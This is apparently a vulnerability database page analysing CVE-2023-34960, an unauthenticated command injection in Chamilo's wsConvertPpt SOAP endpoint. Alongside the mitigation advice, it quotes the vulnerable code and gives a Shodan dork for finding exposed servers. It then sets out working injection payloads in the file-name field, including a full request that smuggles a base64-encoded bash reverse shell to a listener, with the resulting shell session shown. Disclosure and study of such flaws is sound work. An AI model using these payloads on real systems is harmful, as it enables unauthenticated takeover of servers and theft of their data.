Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2023-34960

Disclosure Date: August 01, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name.

Add Assessment

2
Ratings
Technical Analysis

Chamilo is a free software (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. It has been used by more than 30M people worldwide since its inception in 2010.
The following Shodan dork: http.component:"Chamilo" will give you the list of Chamilo installations running in the wild.

Chamilo versions 1.11.18 and below suffers from an unauthenticated remote command execution vulnerability. Due to a functionality called Chamilo Rapid to easily convert PowerPoint slides to courses on Chamilo, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint /main/webservices/additional_webservices.php.

It is a classical example of OS command injection (also known as shell injection) that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

In the vulnerable file /main/webservices/additional_webservices.php the function wsConvertPpt that can be used to convert a PowerPoint file to courses on Chamilo using a shell command . To use this feature, a SOAP request needs to be performed containing an URL pointing to the PowerPoint file.
In code excerpt below, you can easily identify the command line where the filename is not properly filtered by the function, hence making it vulnerable to command injection when it is called by the exec() function.

function wsConvertPpt($pptData)
{
    global $_configuration;
    $ip = trim($_SERVER['REMOTE_ADDR']);
    // If an IP filter array is defined in configuration.php,
    // check if this IP is allowed
    if (!empty($_configuration['ppt2lp_ip_filter'])) {
        if (!in_array($ip, $_configuration['ppt2lp_ip_filter'])) {
            return false;
        }
    }
    $fileData = $pptData['file_data'];
    $dataInfo = pathinfo($pptData['file_name']);
    $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
    $fullFileName = $pptData['file_name'];
    $size = $pptData['service_ppt2lp_size'];
    $w = '800';
    $h = '600';
    if (!empty($size)) {
        list($w, $h) = explode('x', $size);
    }

    $tempArchivePath = api_get_path(SYS_ARCHIVE_PATH);
    $tempPath = $tempArchivePath.'wsConvert/'.$fileName.'/';
    $tempPathNewFiles = $tempArchivePath.'wsConvert/'.$fileName.'-n/';

    $oldumask = umask(0);
    //$perms = api_get_permissions_for_new_directories();
    // Set permissions the most permissively possible: these files will
    // be deleted below and we need a parallel process to be able to write them
    $perms = api_get_permissions_for_new_directories();
    pptConverterDirectoriesCreate($tempPath, $tempPathNewFiles, $fileName, $perms);

    $file = base64_decode($fileData);
    file_put_contents($tempPath.$fullFileName, $file);

    $cmd = pptConverterGetCommandBaseParams();

/* VULNERABLE CODE */
    $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'"  "'.$tempPathNewFiles.$fileName.'.html"';

    //$perms = api_get_permissions_for_new_files();
    chmod($tempPathNewFiles.$fileName, $perms);

    $files = [];
    $return = 0;

/* EXEC FUNCTION */
    $shell = exec($cmd, $files, $return);

    umask($oldumask);

By using the SOAP request below, you can trigger the command injection replacing YOUR COMMAND with any Unix OS command.

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:80/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
     <param0 xsi:type="ns2:Map">
      <item>
       <key xsi:type="xsd:string">file_data</key>
       <value xsi:type="xsd:string"></value>
      </item>
      <item>
        <key xsi:type="xsd:string">file_name</key>
        <value xsi:type="xsd:string">`YOUR COMMAND`.pptx</value>
       </item>
       <item>
        <key xsi:type="xsd:string">service_ppt2lp_size</key>
        <value xsi:type="xsd:string">720x540</value>
       </item>
    </param0>
   </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I did several tests on a Ubuntu 22.04 server with Chamilo 1.11.18 installed to see which command injections do work and I found three variants so far. Two blind command injections and one command injection that is not blind.

Blind variants:

  • <value xsi:type="xsd:string">`command`.pptx</value>
  • <value xsi:type="xsd:string">|" |command||a #`.pptx'</value>

Non blind variant:

  • <value xsi:type="xsd:string">`{{}}`.pptx'|" |command||a #</value>

Let’s quick demonstrate the non-blind command injection variant with burpsuite on a vulnerable Chamilo installation.

Burp request

POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1
Host: 192.168.201.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 1031
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="/chamilo"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:ns2="http://xml.apache.org/xml-soap"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
      <param0 xsi:type="ns2:Map">
        <item>
          <key xsi:type="xsd:string">file_data</key>
          <value xsi:type="xsd:string"></value>
        </item>
        <item>
          <key xsi:type="xsd:string">file_name</key>
                   <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo cuckoo||a #</value>
        </item>
        <item>
          <key xsi:type="xsd:string">service_ppt2lp_size</key>
          <value xsi:type="xsd:string">1310x643</value>
        </item>
      </param0>
    </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Burp Response

HTTP/1.1 200 OK
Date: Fri, 28 Jul 2023 10:33:56 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: ch_sid=0doq0i6i2va7rf61bfq9ksg79u; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 620
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="http://192.168.201.47/chamilo/main/webservices/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
   <SOAP-ENV:Body>
     <ns1:wsConvertPptResponse>
       <return xsi:type="xsd:string">
          a:2:{s:5:"files";a:1:{i:0;s:6:"cuckoo";}s:6:"images";a:1:{s:0:"";s:0:"";}}
       </return>
     </ns1:wsConvertPptResponse>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Now let’s do a proper command injection and spawn a remote shell.
Let’s take a bash reverse shell: bash -i >& /dev/tcp/192.168.201.10/4444 0>&1
To avoid any issues with bad characters, we will encode the payload with base64 and decode it again during execution.

# echo -n "bash -i >& /dev/tcp/192.168.201.10/4444 0>&1"|base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=
# nc -lnvp 4444
listening on [any] 4444 ...

bash reverse shell burp request

POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1
Host: 192.168.201.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 1084
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="/"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:ns2="http://xml.apache.org/xml-soap"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
      <param0 xsi:type="ns2:Map">
        <item>
          <key xsi:type="xsd:string">file_data</key>
          <value xsi:type="xsd:string"></value>
        </item>
        <item>
          <key xsi:type="xsd:string">file_name</key>
          <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=|base64 -d|bash||a #</value>
        </item>
        <item>
          <key xsi:type="xsd:string">service_ppt2lp_size</key>
          <value xsi:type="xsd:string">1108x524</value>
        </item>
      </param0>
    </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

bash reverse shell

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.201.10] from (UNKNOWN) [192.168.201.47] 49682
bash: cannot set terminal process group (35632): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ uname -a
uname -a
Linux cuckoo 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$

For now, the OS command injection only works on linux/unix based operating systems due to the use of the backtic ` operator.
Still playing around to find a Windows variant.

And as usual, there is a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18233 at the Metasploit Github development.

This module has been tested on:

  • Ubuntu Linux 22.04
  • Chamilo 1.11.18
  • PHP 7.4

Instructions for a vulnerable Chamilo installation on Ubuntu 22.04:

Mitigation

Please update your Chamilo application to version 1.11.20 or higher.

References

Randorisec advisory
CVE-2023-34960
Chamilo Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18233
Chamilo release downloads
Chamilo installation instructions

Credits

Randorisec

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • chamilo

Products

  • chamilo

References

Exploit
The following exploit POCs have not been verified by Rapid7 researchers, but are sourced from: nomi-sec/PoC-in-GitHub.
Additional sources will be added here as they become relevant.
Notes: We will only add the top 3 POCs for a given CVE. POCs added here must have at least 2 GitHub stars.

Additional Info

Technical Analysis